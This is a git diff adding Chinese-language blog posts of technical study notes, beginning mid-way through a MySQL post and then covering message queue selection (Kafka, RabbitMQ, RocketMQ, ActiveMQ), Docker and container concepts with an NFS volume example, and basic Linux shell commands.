+服务器为了提高效率,通常会采用线程池的方式来管理这些线程。也就是预先创建一定数量的线程,形成一个线程池。当新的连接到来时,就从线程池中取出一个线程来处理这个连接。当连接处理完毕后,这个线程不会被销毁,而是返回到线程池中,等待处理下一个连接。这样就避免了频繁创建和销毁线程的开销,提高了服务器的处理效率。这就是这段话中“服务器会负责缓存线程,因此不需要为每一个新建的连接创建或者销毁线程”的意思。 + +#### 1.1.2 优化与执行 + +解析查询:MySQL首先会解析查询请求,创建出对应的内部数据结构,通常是一种叫做解析树的结构。这个结构会详细描述查询的各个部分和它们的关系。 + +优化查询:解析完成后,MySQL的优化器会对解析树进行优化,包括重写查询,决定表的读取顺序,选择合适的索引等。用户可以通过提供特定的关键字提示(hint)来影响优化器的决策过程。同时,用户也可以请求优化器解释(explain)其优化过程的各个因素,以便了解MySQL是如何进行优化决策的。 + +存储引擎的影响:虽然优化器不关心表使用的是什么存储引擎,但存储引擎的特性会影响到查询优化的结果。优化器会请求存储引擎提供一些信息,如表的数据统计信息,某个具体操作的开销信息等,这些信息会被用于查询优化。 + +查询缓存:在解析查询之前,MySQL会先检查查询缓存。如果查询缓存中已经有了这个查询的结果,那么MySQL就不需要再进行查询解析、优化和执行的过程,而是直接返回查询缓存中的结果集。 + + +### 1.2 并发控制 + +#### 1.2.1 + +在处理并发读或者写时,可以通过实现一个由两种类型的锁组成的锁系统来解决 问题。这两种类型的锁通常被称为共享锁(shared lock)和排他锁 (exclusive lock),也叫读锁(read lock)和写锁(write lock)。 + + +#### 1.2.2 锁粒度 + +表锁:表锁是MySQL中最基本的锁策略,它的开销最小。当一个用户需要对表进行写操作(如插入、删除、更新等)时,需要先获取写锁,这会阻塞其他用户对该表的所有读写操作。只有当没有写锁时,其他读取的用户才能获取读锁,读锁之间是不互相阻塞的。在某些情况下,表锁可能有良好的性能,例如,READ LOCAL表锁支持某些类型的并发写操作。另外,写锁比读锁有更高的优先级,因此一个写锁请求可能会被插入到读锁队列的前面。 + +行级锁:行级锁可以最大程度地支持并发处理,但同时也带来了最大的锁开销。行级锁只在存储引擎层实现,而MySQL服务器层并不了解存储引擎中的锁实现。在InnoDB和XtraDB等存储引擎中实现了行级锁。尽管存储引擎可以管理自己的锁,MySQL本身还是会使用各种有效的表锁来实现不同的目的,例如,服务器会为ALTER TABLE等语句使用表锁,而忽略存储引擎的锁机制。 + +### 1.3 事务 + + + + diff --git a/_posts/2023-9-21-test-markdown.md b/_posts/2023-9-21-test-markdown.md new file mode 100644 index 000000000000..9cc6c2554842 --- /dev/null +++ b/_posts/2023-9-21-test-markdown.md @@ -0,0 +1,250 @@ +--- +layout: post +title: 消息队列 +subtitle: +tags: [消息队列] +comments: true +--- + +## 1.消息队列 + +### 消息队列模式 + +#### 点对点 +点对点模式(Point-to-Point):在点对点模式中,消息被发送者(生产者)发送到一个队列,然后被一个接收者(消费者)从队列中取出并处理。在这种模式下,即使有多个消费者,每个消息也只会被处理一次,因为一旦消息被消费,它就会从队列中移除。如果有多个消费者,那么他们通常会以竞争的方式来获取队列中的消息,这种方式也被称为“竞争消费者”模式。这种模式适用于任务分发的场景,例如,将大量的任务分发给一组工作线程进行处理。 + +#### 发布订阅 +发布/订阅模式(Publish/Subscribe):在发布/订阅模式中,消息被发送者(发布者)发送到一个主题(Topic),然后被所有订阅了该主题的接收者(订阅者)接收。在这种模式下,每个消息都会被所有的订阅者接收和处理,因此一个消息可以被多次处理。这种模式适用于需要广播消息到多个接收者的场景,例如,实时更新的股票价格信息,需要广播给所有订阅了该股票信息的用户。 + +单个消息可以被多个订阅者并发的获取和处理。一般来说,订阅有两种类型: + +临时(ephemeral)订阅,这种订阅只有在消费者启动并且运行的时候才存在。一旦消费者退出,相应的订阅以及尚未处理的消息就会丢失。 +持久(durable)订阅,这种订阅会一直存在,除非主动去删除。消费者退出后,消息系统会继续维护该订阅,并且后续消息可以被继续处理。 + + +临时订阅和持久订阅是消息队列中两种不同类型的订阅方式,主要区别在于订阅的生命周期和消息的处理方式。 + +临时订阅(Ephemeral Subscription):这种订阅只在消费者启动并运行的时候存在。一旦消费者退出,相应的订阅以及尚未处理的消息就会丢失。这种订阅的实现通常依赖于**消费者与消息系统的会话(session)。当消费者启动并连接到消息系统时,它会创建一个新的会话并在该会话中创建订阅。当消费者退出或断开连接时,会话结束,所有在该会话中创建的临时订阅也会被删除**。在业务中,临时订阅通常用于处理不需要持久化的数据,例如实时的状态更新或临时的事件通知。临时订阅通常用于那些不需要持久化消息,或者消费者始终在线的场景,例如实时的聊天系统或游戏。 + +持久订阅(Durable Subscription):这种订阅会一直存在,除非主动去删除。消费者退出后,消息系统会继续维护该订阅,并且后续消息可以被继续处理。持久订阅的实现通常需要消费者在创建订阅时提供一个唯一的订阅标识符。消息系统会使用这个标识符来持久化订阅的状态,包括订阅的主题和已经发送但尚未确认的消息。当消费者重新连接并使用相同的订阅标识符时,消息系统会恢复该订阅,并重新发送所有未确认的消息。在业务中,持久订阅通常用于处理需要持久化的数据,例如电子邮件或订单处理。在业务中,持久订阅通常用于那些需要保证消息不丢失,或者消费者可能会离线的场景 + +### 技术选型 + +吞吐率:不同的消息队列系统在吞吐量和延迟上有不同的表现。例如,如果的应用需要处理大量的消息,那么可能需要一个**高吞吐量的消息队列,如Kafka**。如果的应用需要实时处理消息,那么可能需要一个**低延迟的消息队列,如RabbitMQ**。 + +可靠性:如果的应用不能容忍消息的丢失,那么需要一个支持持久化和事务的消息队列,如RabbitMQ和ActiveMQ。如果的应用可以容忍少量的消息丢失,那么可以**选择一个提供“至少一次”或“最多一次”投递保证的消息队列,如Kafka**。 + +> 至少一次(At-Least-Once):这种语义保证每个消息至少被投递一次。这可能导致消息的重复投递,因为在某些情况下,如网络故障或消费者崩溃,消息系统可能无法确定消息是否已经被成功处理,所以它会选择重新投递消息。这种语义适用于不能容忍消息丢失的场景,但应用需要能够处理重复的消息。 + +> 最多一次(At-Most-Once):这种语义保证每个消息最多被投递一次。这可能导致消息的丢失,因为在某些情况下,如网络故障或消息系统崩溃,已经投递的消息可能无法被重新投递。这种语义适用于可以容忍消息丢失,但不能处理重复消息的场景。 + +> 恰好一次(Exactly-Once),这种语义保证每个消息恰好被投递一次,既不会丢失也不会重复。然而,实现这种语义通常需要复杂的协议和高昂的性能开销,因此在实践中很少使用。 + +> 如果的应用需要处理金融交易,那么可能需要一个提供至少一次或恰好一次语义的消息系统,如Kafka或RabbitMQ。如果的应用需要处理日志数据,那么可能可以接受最多一次语义,因为丢失少量的日志数据通常是可以接受的。 + +功能需求:不同的消息队列系统提供了不同的功能,如消息过滤、优先级队列、延迟队列等。需要根据的应用需求来选择合适的消息队列。 + +集成需求:如果的应用已经使用了某个技术栈,那么可能希望选择一个与之兼容的消息队列。例如,如果的应用使用了Spring框架,那么可能会选择RabbitMQ,因为Spring提供了对RabbitMQ的良好支持。 + +运维需求:不同的消息队列系统在运维上有不同的复杂度。例如,Kafka的运维相对复杂,需要专门的运维团队来维护。而RabbitMQ和ActiveMQ的运维相对简单,适合小团队使用。 + +成本需求:需要考虑消息队列系统的总体成本,包括硬件成本、软件成本、运维成本等。例如,如果的应用部署在云上,那么可能会选择一个云服务提供商提供的消息队列服务,如Amazon SQS或Google Pub/Sub,因为这样可以降低运维成本 + +#### Kafka + +Kafka:Apache Kafka它最初由LinkedIn公司基于独特的设计实现为一个分布式的提交日志系统( a distributed commit log),之后成为Apache项目的一部分。号称大数据的杀手锏,谈到大数据领域内的消息传输,则绕不开Kafka,这款为大数据而生的消息中间件,以其百万级TPS的吞吐量名声大噪,迅速成为大数据领域的宠儿,在数据采集、传输、存储的过程中发挥着举足轻重的作用。 + + + +优点: + +高吞吐量:Kafka设计用于处理大量的实时数据,可以处理数百万条消息/秒。 +分布式系统:Kafka集群可以横向扩展,增加更多的节点以处理更多的流量。 +持久性:Kafka可以将消息存储在磁盘上,以便在系统崩溃后恢复。 +实时处理:Kafka支持实时数据流处理。 + +缺点: + +配置和管理复杂:Kafka的配置参数众多,需要一定的学习成本。同时,Kafka集群的管理也相对复杂。 +消息顺序保证:Kafka只能保证同一个分区(Partition)内的消息顺序。 + +适用场景:大数据处理,实时数据流处理,日志收集等。 + +#### RabbitMQ + +RabbitMQ:RabbitMQ 2007年发布,是使用Erlang语言开发的开源消息队列系统,基于AMQP协议来实现。AMQP的主要特征是面向消息、队列、路由(包括点对点和发布/订阅)、可靠性、安全。AMQP协议更多用在企业系统内,对数据一致性、稳定性和可靠性要求很高的场景,对性能和吞吐量的要求还在其次。 + +优点: + +易用性:RabbitMQ的安装和管理相对简单,社区活跃,文档丰富。 +灵活的路由:RabbitMQ提供了多种消息路由模式,如直接交换、主题交换、头交换等。 +支持多种协议:RabbitMQ支持多种消息队列协议,如AMQP、STOMP、MQTT等。 + +缺点: +吞吐量相对较低:相比Kafka,RabbitMQ的吞吐量相对较低。 +消息堆积:如果消息堆积过多,可能会影响RabbitMQ的性能。 + +适用场景:复杂的路由场景,实时消息传递,任务队列等。 + + +#### RocketMQ + +阿里开源的消息中间件,它是纯Java开发,具有高吞吐量、高可用性、适合大规模分布式系统应用的特点。RocketMQ思路起源于Kafka,但并不是Kafka的一个Copy,它对消息的可靠传输及事务性做了优化,目前在阿里集团被广泛应用于交易、充值、流计算、消息推送、日志流式处理、binglog分发等场景。 + +优点: + +高吞吐量和低延迟:RocketMQ设计用于处理大量的实时数据,同时保证低延迟。 +强一致性:RocketMQ支持严格的消息顺序保证。 +分布式系统:RocketMQ集群可以横向扩展,增加更多的节点以处理更多的流量。 +缺点: + +社区活跃度相对较低:相比Kafka和RabbitMQ,RocketMQ的社区活跃度相对较低。 + +适用场景:金融交易,订单处理,实时数据流处理等。 + +#### ActiveMQ + +是Apache出品,最流行的,能力强劲的开源消息总线。官方社区现在对ActiveMQ 5.x维护越来越少,较少在大规模吞吐的场景中使用,所以该消息队列也不是我们文章中重点讨论的内容。 + +优点: +易用性:ActiveMQ的安装和管理相对简单,社区活跃,文档丰富。 +支持JMS:ActiveMQ是一个完全支持JMS(Java Message Service)的消息队列。 +缺点: + +吞吐量和延迟:相比Kafka和RocketMQ,ActiveMQ的吞吐量和延迟相对较差。 +集群扩展性:ActiveMQ的集群扩展性相对较差,不如Kafka和RocketMQ。 + +适用场景:ActiveMQ适用于企业应用集成,例如,处理业务流程、分布式系统间的消息传递等。 + + +#### 选型总结 + +如果需要处理大量的实时数据,那么Kafka或RocketMQ可能是一个好选择。如果需要处理复杂的路由场景,那么RabbitMQ可能是一个好选择。如果的应用是基于Java并且需要一个支持JMS的消息队列,那么ActiveMQ可能是一个好选择。 + + +### 基本概念 + +#### Kafka + +基本概念: + +Producer:消息生产者,负责产生消息并发送到Kafka。 +Consumer:消息消费者,从Kafka中读取并处理消息。 +Topic:消息的分类,生产者将消息发送到特定的Topic,消费者从特定的Topic中读取消息。 +Partition:Topic的分区,每个Topic可以有一个或多个Partition,每个Partition是一个有序的消息队列。 +Broker:Kafka服务器,一个Kafka集群由多个Broker组成。 + +如何使用:Kafka提供了Java API用于生产和消费消息。生产者使用KafkaProducer类发送消息,消费者使用KafkaConsumer类读取消息。也可以使用Kafka的命令行工具进行操作,例如创建Topic、查看Topic信息等。 + +系统架构: + +> 一个典型的 Kafka 集群中包含若干Producer(可以是web前端产生的Page View,或者是服务器日志,系统CPU、Memory等),若干broker(Kafka支持水平扩展,一般broker数量越多,集群吞吐率越高),若干Consumer Group,以及一个Zookeeper集群。Kafka通过Zookeeper管理集群配置,选举leader,以及在Consumer Group发生变化时进行rebalance。Producer使用push模式将消息发布到broker,Consumer使用pull模式从broker订阅并消费消息。 + +消息发送过程: + +创建Producer:首先,生产者应用程序会创建一个Kafka Producer实例。在创建Producer时,需要提供一些配置参数,如Kafka服务器的地址、消息的序列化方式等。 + +发送消息:生产者通过调用Producer的send()方法来发送消息。在调用send()方法时,需要提供一个ProducerRecord对象,该对象包含了要发送的Topic、Partition和消息内容。如果没有指定Partition,Kafka会根据消息的Key或者轮询策略来选择一个Partition。 + +序列化:Kafka Producer会将ProducerRecord中的Key和Value进行序列化。序列化是将对象转换为字节流的过程,这样才能在网络中传输。序列化的方式可以在创建Producer时通过配置参数来指定。 + +分区:Kafka Producer会根据ProducerRecord中的Key和Topic的Partition策略来选择一个Partition。如果ProducerRecord中指定了Partition,那么就使用指定的Partition。如果没有指定,那么Kafka会根据Key来选择一个Partition。如果Key也没有指定,那么Kafka会轮询所有的Partition。 + +网络传输:Kafka Producer会将序列化后的消息通过网络发送到对应Partition的Leader Broker。Kafka使用TCP协议进行网络传输,保证了消息的可靠性。 + +确认:Kafka Broker收到消息后,会将消息写入到本地的日志文件中。然后,Broker会向Producer发送一个确认消息。Producer收到确认消息后,就知道消息已经成功发送。 + +在实际使用中,为了提高性能,Kafka Producer通常会使用批处理和异步发送的方式。也就是说,Producer会将多个消息打包成一个批次,然后异步地发送到Broker。这样可以减少网络请求的次数,提高消息的吞吐量。 + + +#### RabbitMQ + +基本概念: + +Producer:消息生产者,负责产生消息并发送到RabbitMQ。 +Consumer:消息消费者,从RabbitMQ中读取并处理消息。 +Queue:消息队列,生产者将消息发送到Queue,消费者从Queue中读取消息。 +Exchange:交换器,负责接收生产者发送的消息并根据路由规则将消息路由到一个或多个Queue。 +如何使用:RabbitMQ提供了多种语言的客户端库,例如Java、Python、.NET等。可以使用这些库中的API来生产和消费消息。例如,在Java中,可以使用Channel类的basicPublish方法发送消息,使用basicConsume方法读取消息。 + +消息发送过程: + +创建连接:首先,生产者应用程序需要创建一个到RabbitMQ服务器的连接。这通常涉及指定RabbitMQ服务器的地址和认证信息。 + +创建通道:在RabbitMQ中,所有的操作都是在一个叫做"Channel"的概念中进行的。所以,生产者会创建一个Channel。 + +声明交换器:生产者声明一个交换器(Exchange),并指定交换器的类型(如direct, topic, fanout, headers)。交换器的作用是根据路由规则将消息路由到一个或多个队列。 + +声明队列:生产者声明一个队列,如果队列不存在,RabbitMQ会自动创建。队列是存储消息的地方。 + +绑定队列到交换器:生产者将队列绑定到交换器,并指定一个路由键(Routing Key)。路由键是交换器根据规则将消息路由到队列的依据。 + +发送消息:生产者通过调用basicPublish方法发送消息。在调用此方法时,需要提供交换器名称、路由键和消息内容。消息内容通常是字节流,所以可能需要将的对象序列化为字节流。 + +关闭通道和连接:发送完消息后,生产者需要关闭Channel和Connection。 + +在实际使用中,为了提高性能,可能需要使用一些高级特性,如消息确认、事务、发布确认等。 + +#### RocketMQ + +基本概念: + +Producer:消息生产者,负责产生消息并发送到RocketMQ。 +Consumer:消息消费者,从RocketMQ中读取并处理消息。 +Topic:消息的分类,生产者将消息发送到特定的Topic,消费者从特定的Topic中读取消息。 +Broker:RocketMQ服务器,一个RocketMQ集群由多个Broker组成。 +如何使用:RocketMQ提供了Java API用于生产和消费消息。生产者使用DefaultMQProducer类发送消息,消费者使用DefaultMQPushConsumer或DefaultMQPullConsumer类读取消息。 + +消息发送过程: + +创建Producer:首先,生产者应用程序会创建一个RocketMQ Producer实例。在创建Producer时,需要提供一些配置参数,如RocketMQ服务器的地址、消息的序列化方式等。 + +启动Producer:调用Producer的start()方法启动Producer。这个步骤会建立到RocketMQ服务器的网络连接。 + +发送消息:生产者通过调用Producer的send()方法来发送消息。在调用send()方法时,需要提供一个Message对象,该对象包含了要发送的Topic、Tag和消息内容。 + +Broker选择:RocketMQ Producer会根据Topic选择一个合适的Broker来发送消息。选择Broker的策略可以在创建Producer时通过配置参数来指定。 + +网络传输:RocketMQ Producer会将消息通过网络发送到选择的Broker。RocketMQ使用TCP协议进行网络传输,保证了消息的可靠性。 + +确认:RocketMQ Broker收到消息后,会将消息写入到本地的日志文件中。然后,Broker会向Producer发送一个确认消息。Producer收到确认消息后,就知道消息已经成功发送。 + +关闭Producer:发送完消息后,生产者需要关闭Producer。这个步骤会关闭到RocketMQ服务器的网络连接。 + +在实际使用中,为了提高性能,RocketMQ Producer通常会使用批处理和异步发送的方式。也就是说,Producer会将多个消息打包成一个批次,然后异步地发送到Broker。这样可以减少网络请求的次数,提高消息的吞吐量 + +#### ActiveMQ + +基本概念: + +Producer:消息生产者,负责产生消息并发送到ActiveMQ。 +Consumer:消息消费者,从ActiveMQ中读取并处理消息。 +Queue/Topic:ActiveMQ支持两种消息模型,点对点模型(Queue)和发布订阅模型(Topic)。 +如何使用:ActiveMQ提供了JMS(Java Message Service)API用于生产和消费消息。可以使用MessageProducer类发送消息,使用MessageConsumer类读取消息。 + +消息发送过程: + +创建连接工厂:首先,生产者应用程序需要创建一个到ActiveMQ服务器的连接工厂(ConnectionFactory)。这通常涉及指定ActiveMQ服务器的地址和认证信息。 + +创建连接:使用连接工厂创建一个到ActiveMQ的连接(Connection)。 + +创建会话:在连接上创建一个会话(Session)。会话是发送和接收消息的上下文。 + +创建目的地:在会话上创建一个目的地(Destination)。目的地可以是队列(Queue)或主题(Topic),取决于使用的是点对点模型还是发布订阅模型。 + +创建生产者:在会话上创建一个消息生产者(MessageProducer)。生产者用于发送消息到目的地。 + +创建消息:创建一个消息(Message)。消息可以是文本消息(TextMessage)、字节消息(BytesMessage)、对象消息(ObjectMessage)等,取决于需要发送的数据类型。 + +发送消息:生产者调用send()方法发送消息到目的地。 + +关闭资源:发送完消息后,生产者需要关闭消息、生产者、会话和连接。 + +在实际使用中,为了提高性能,可能需要使用一些高级特性,如消息持久性、消息优先级、消息过期等。 + + + + + + + diff --git a/_posts/2023-9-22-test-markdown.md b/_posts/2023-9-22-test-markdown.md new file mode 100644 index 000000000000..c34911e560b7 --- /dev/null +++ b/_posts/2023-9-22-test-markdown.md @@ -0,0 +1,125 @@ +--- +layout: post +title: 容器 +subtitle: +tags: [Kubernetes] +comments: true +--- + +## 容器术语解析 +容器(Container):容器是一种轻量级、可移植、自包含的软件包装方式,它包含了运行一个软件所需要的所有内容,包括代码、运行时环境、库、环境变量和配置文件。 + +镜像(Image):镜像是创建容器的模板,它是一个只读的文件,包含了运行一个容器所需要的代码以及依赖的环境。可以把它理解为容器的“蓝图”。 + +容器镜像(Container Image):这是“镜像”和“容器”两个概念的结合,指的是用来创建容器的镜像。 + +镜像层(Image Layer):Docker使用联合文件系统(Union File System)来构建一个镜像,每一层都是只读的,每一层都代表镜像构建过程的一部分。每一层都会增加镜像的大小。 + +注册中心(Registry):注册中心是存储镜像的地方。Docker Hub是最常用的公开注册中心,也可以设置私有注册中心。 + +仓库(Repository):在特定的注册中心中,仓库是用来存储和组织镜像的地方。一个仓库可以包含多个版本的同一个镜像,每个版本都有一个不同的标签。 + +标签(Tag):标签是指向特定镜像版本的可读名称。一个镜像可以有多个标签,最常见的标签是“latest”,指向仓库中最新的镜像。 + +基础镜像(Base Image):基础镜像是一个没有父镜像的镜像,通常包含一个操作系统。其他镜像可以基于基础镜像来创建,添加更多的层。 + +平台镜像(Platform Image):平台镜像通常是指为特定平台或者框架预先构建的镜像,比如Node.js镜像、Python镜像等。这些镜像通常基于某个操作系统的基础镜像,然后添加了运行特定平台或框架所需要的软件和库。 + +层(Layer):在Docker的上下文中,层通常指的是镜像层。在Kubernetes的上下文中,层可能指的是网络层、应用层等概念,具体含义取决于上下文。 + +## Docker基本概念 + + +### Docker Engine 和containerd 以及 runc 的关系是什么? + +Docker Engine、containerd 和 runc 是容器技术栈中的三个重要组件,它们之间的关系如下: + +Docker Engine:Docker Engine 是 Docker 的核心组件,它提供了一个完整的容器运行时环境和管理工具。Docker Engine 包括了容器的构建、分发和运行等功能,并且提供了 Docker CLI(命令行界面)来管理和操作容器。在 Docker Engine 中,它内置了 containerd 和 runc。 + +containerd:containerd 是一个轻量级的容器运行时,它负责管理容器的生命周期,包括容器的创建、启动、停止、销毁等操作。containerd 提供了一组 API 接口,供上层工具(如 Docker Engine)调用,以实现对容器的管理和控制。containerd 的设计目标是为了提供高性能和可扩展性,同时保持简洁和可靠性。 + +runc:runc 是一个用于运行容器的工具,它是由 Open Container Initiative(OCI)开发的容器运行时规范的参考实现之一。runc 负责根据容器的配置和参数,创建和管理容器的隔离环境,并运行容器中的应用程序。runc 提供了一个轻量级的进程隔离工具,它使用 Linux 内核提供的命名空间(namespace)和控制组(cgroup)等特性来实现容器的隔离和资源管理。 + +因此,Docker Engine 使用 containerd 作为其底层容器运行时,containerd 则使用 runc 来运行容器。Docker Engine 提供了更高级的容器管理功能,如镜像管理、网络管理、存储管理等,而 containerd 和 runc 则提供了底层的容器运行时支持,负责容器的生命周期管理和隔离环境的创建与管理。通过这种层级关系,Docker Engine 在 containerd 和 runc 的基础上提供了更丰富的功能和用户友好的接口。 + + +### 如何理解 Linux 内核提供的命名空间(namespace)和控制组(cgroup) + +Linux 内核提供的命名空间(namespace)和控制组(cgroup)是两个关键的特性,用于实现容器化环境中的隔离和资源管理。 + +**命名空间(namespace)**是一种隔离机制,它将操作系统的全局资源分割成多个独立的部分,每个部分都有自己独立的视图。通过使用不同类型的命名空间,可以实现对进程、网络、文件系统、用户、IPC(进程间通信)等资源的隔离。每个命名空间中的进程只能看到和访问属于同一命名空间的资源,对其他命名空间的资源是不可见的。这种隔离机制使得容器内的进程能够在一个相对独立的运行环境中执行,互不干扰。 + +以下是常见的命名空间类型: + +PID 命名空间:隔离进程 ID(PID),使得容器内的进程在不同的命名空间中具有不同的进程 ID。 +网络命名空间:隔离网络栈,每个容器有自己的网络接口、IP 地址、路由表和防火墙规则。 +挂载命名空间:隔离文件系统挂载点,使得容器内的文件系统与主机或其他容器的文件系统相互隔离。 +IPC 命名空间:隔离进程间通信资源,如消息队列、信号量和共享内存。 +UTS 命名空间:隔离主机名和域名。 +用户命名空间:隔离用户和用户组标识。 +**控制组(cgroup)**是一种资源管理机制,用于限制和控制进程组的资源使用。通过将进程组绑定到特定的控制组,可以对其资源使用进行限制,例如 CPU、内存、磁盘、网络带宽等。控制组使得容器可以对资源进行精确的管理和分配,确保各个容器之间的资源不会互相干扰。 + +控制组支持层次化结构,可以将进程组组织成树状结构,并为每个层次设置资源限制。这样,容器内的进程可以根据其所在的控制组获取相应的资源限制,实现资源的隔离和管理。 + +通过命名空间和控制组的组合使用,Linux 内核提供了强大的容器化支持,使得容器能够在隔离的运行环境中执行,并对资源进行有效的管理和控制。这为容器技术的实现和广泛应用提供了基础。 + +### docker-init? + +然而,Docker 在其容器中使用了一个称为 "docker-init" 的进程作为容器的初始进程。 + +"Docker init" 进程是一个特殊的进程,它在容器启动时作为容器的第一个进程运行。它的主要功能是启动容器中的其他进程,并负责处理容器的生命周期管理。 + +具体来说,"docker-init" 进程会执行以下操作: + +创建 PID 命名空间并切换到该命名空间,以隔离容器内的进程 ID。 + +设置正确的进程信号处理程序,以处理来自 Docker 主进程的信号(如 SIGTERM)。 + +通过启动容器的主进程,将控制转移到容器中的应用程序。 + +在容器的主进程退出时,清理容器内的资源,并确保容器内的所有进程都正确终止。 + +"Docker init" 进程的目的是确保容器中的进程能够正确处理信号、以正确的方式启动和停止,并避免孤儿进程的产生。 + +请注意,"docker-init" 进程并不是一个独立的进程管理器,而是 Docker 引擎在容器运行时启动的一部分。它提供了容器进程管理的基础功能,但没有提供像 Tini 进程管理器那样的复杂信号处理和进程管理功能。如果需要更高级的进程管理功能,可以选择使用像 Tini 这样的第三方进程管理器来增强容器的生命周期管理。 + + + +## Docker 存储 + +### 使用 Docker NFS 卷的方式来挂载 NFS 共享到容器 + +Docker可以使用NFS卷来挂载NFS共享到容器中,这样可以让容器直接访问NFS共享中的文件和目录。这种方式的优点是可以让多个容器共享同一份数据,或者让容器和宿主机共享数据。 + +以下是使用Docker NFS卷来挂载NFS共享到容器的步骤: + +首先,需要在宿主机上安装NFS客户端。在Ubuntu上,可以使用以下命令来安装: + +```shell +sudo apt-get update +sudo apt-get install nfs-common +``` +然后,需要创建一个Docker卷来挂载NFS共享。可以使用docker volume create命令来创建一个NFS卷: + +``` +docker volume create --driver local \ + --opt type=nfs \ + --opt o=addr=nfs_server,rw \ + --opt device=:/path/to/dir \ + nfs_volume +``` +这个命令会创建一个名为`nfs_volume`的Docker卷,这个卷会挂载NFS服务器上的`/path/to/dir`目录。需要将nfs_server和/path/to/dir替换为实际的NFS服务器地址和目录。 + +最后,可以在创建容器时使用-v参数来挂载这个NFS卷: + +```shell +docker run -d -v nfs_volume:/data some_image +``` +这个命令会启动一个新的容器,这个容器会挂载nfs_volume卷到/data目录。容器中的应用可以通过/data目录来访问NFS共享中的文件和目录。 + +这样做的原因是,使用NFS卷可以让容器直接访问NFS共享中的文件和目录,而不需要将这些文件和目录复制到容器中。这样可以让多个容器共享同一份数据,或者让容器和宿主机共享数据。此外,使用NFS卷还可以让在不修改容器的情况下,动态地改变容器可以访问的文件和目录。 + + + + + diff --git a/_posts/2023-9-23-test-markdown.md b/_posts/2023-9-23-test-markdown.md new file mode 100644 index 000000000000..4cc1a04562f2 --- /dev/null +++ b/_posts/2023-9-23-test-markdown.md @@ -0,0 +1,430 @@ +--- +layout: post +title: Linux 命令 +subtitle: +tags: [linux] +--- + +## 1. Linux 基础 + +### 1.1 Linux 的基本组件?体系结构?通讯方式? + +基本组件: + +> 内核、Shell、GUI 、系统程序、应用程序 + +体系结构: + +> 用户空间 = ⽤户的应⽤程序(User Applications)、C 库(C Library) + +> 内核空间 = 系统调⽤接⼝(System Call Interface)、内核(Kernel)、平台架构相关的代码(Architecture - Dependent Kernel Code)。 + +Linux 使⽤的进程间通信⽅式? + +- 管道 +- 流管道 +- 有名管道 +- 信号 +- 消息队列 +- 共享内存 +- 信号量 +- Socket + +什么是 Shell? + +> shell 是用户空间和内核之间的接口程序,输该程序接收用户输入的信息,然后解释这些信息,把这些信息传给内核。shell 有自己的命令集。 + +什么是 BASH? + +> The Bourne Again Shell 是 shell 的扩展。shell 最大的缺点是:处理用户的输入方面,处理相似的命令很麻烦。但是 BASH 提供了一些特性使得命令的输入变得更加的简单。BASH 也是 Linux 发行版的默认 Shell。Ubuntu 系统常用的是 BASH + +shell 命令? + +- 内建函数 +- 可执行文件(保存在 shell 之外的可执行文件) +- 别名 + +什么是 CLI? +命令⾏界⾯ COMMAND-LINE-Interface,用户界面,通过键盘输入指令。 + +什么是 GUI? +图形⽤户界⾯(Graphical User Interface,简称 GUI,⼜称图形⽤户接⼝)是指采⽤图形⽅式显示的计算机操作⽤户界⾯。图形⽤户界⾯是⼀种⼈与计算机通信的界⾯显示格式,允许⽤户使⽤⿏标等输⼊设备操纵屏幕上的图标或菜单选项,以选择命令、调⽤⽂件、启动程序或执⾏其它⼀些⽇常任务。与通过键盘输⼊⽂本或字符命令来完成例⾏任务的字符界⾯相⽐,图形⽤户界⾯有许多优点。 + +怎么查看当前进程?怎么执⾏退出?怎么查看当前路径? + +```shell +ps +ps -ef +pwd +``` +-e 参数用于显示所有进程,-f 参数用于显示进程的详细信息。因此,`ps -ef` 命令可以用于获取系统中所有进程的详细信息, +```shell +awk '{print $1}' +``` +这个命令表示输出每一行的第一个字段,即文本行的第一个单词或者列。这个命令通常用于提取文本行的某个关键信息,如文件名、用户名称等等。 + +```shell +awk '{print $0}' +``` +这个命令表示输出整个文本行,即原始文本的每一行。这个命令通常用于查看或者复制整个文本行,或者将文本行传递给其他命令进行处理。 + +```shell +awk '{print $2}' +``` +这个命令表示输出每一行的第二个字段,即文本行的第二个单词或者列。这个命令通常用于提取文本行的某个关键信息,如进程 ID、内存占用等等 + +⽬录创建⽤什么命令?创建⽂件⽤什么命令?复制⽂件⽤什么命令? + +```shell +mkdir +vi +cp +``` + +⽂件权限修改⽤什么命令?格式是怎么样的? + +```shell +chmod +``` + +查看⽂件内容有哪些命令可以使⽤? + +```shell +vi +``` + +vi 以编辑的方式查看,随意写⽂件命令 + +```shell +cat +``` + +cat 显示文件的所有内容 + +```shell +more +``` + +less和more都是Linux中的文件查看命令,它们都可以用来查看文件内容,但是在翻页操作和功能上有一些不同。 + +more命令:这是一个基本的文件查看命令,它会按页显示文件内容。在查看文件时,可以按空格键向下翻页,按b键向上翻页。但是,more命令只能向前翻页,不能向后翻页。此外,more命令不支持在文件中搜索文本。 +使用空格键可以向下翻页; +使用 b 键可以向上翻页。 +这里的 "向后翻页" 应该理解为向回浏览已经查看过的内容,也就是向上翻页,more 命令是支持这个功能的。 + + +less命令:less命令是more命令的扩展版本,它提供了更多的功能。与more命令不同,less命令允许向前和向后翻页。可以使用上下箭头键或者Page Up和Page Down键来翻页。此外,less命令还支持在文件中搜索文本,可以按/键输入搜索关键词。 + +```shell +tail +``` + +tail ⽂件名 仅查看尾部,还可以指定⾏数 + +```shell +head +``` + +仅查看头部,还可以指定⾏数 + +```shell +less +``` + +> 翻页操作:使用空格键向下翻一页,使用 b 键向上翻一页,使用 G 键跳到文件末尾,使用 g 键跳到文件开头。 + + + +```shell +echo +``` + +echo 向屏幕输出带空格的字符串 + +终端是哪个⽂件夹下的哪个⽂件? + +```shell +/dev/tty +``` + +Linux 下命令有哪⼏种可使⽤的通配符?分别代表什么含义? + +```shell +? +``` + +单个字符 + +```shell +* +``` + +多个字符 + +Grep 命令有什么⽤?如何忽略⼤⼩写?如何查找不含该串的⾏? + +```shell +grep +grep [^string] filename +``` + +怎么使⼀个命令在后台运⾏? + +```shell +nohup ./main & +``` + +上面命令在后台执行 mian 文件,在终端如果看到以下输出说明运行成功: + +```shell +appending output to nohup.out +``` + +查找刚才让在后台运行的程序。 + +```shell +ps -aux | grep "main" +``` + +或者 + +```shell +ps -def | grep "main" +``` + +找到 PID 然后删除 + +```go +kill -9 进程号PID +``` + +``` +fg +``` + +把后台任务调到前台执⾏使⽤什么命令 + +``` +bg +``` + +把停下的后台任务在后台执⾏起来 + +``` +find <指定目录> <指定条件> <指定动作> +whereis [-bfmsu][-B <⽬录>...][-M <⽬录>...][-S <⽬录>...][⽂件...] 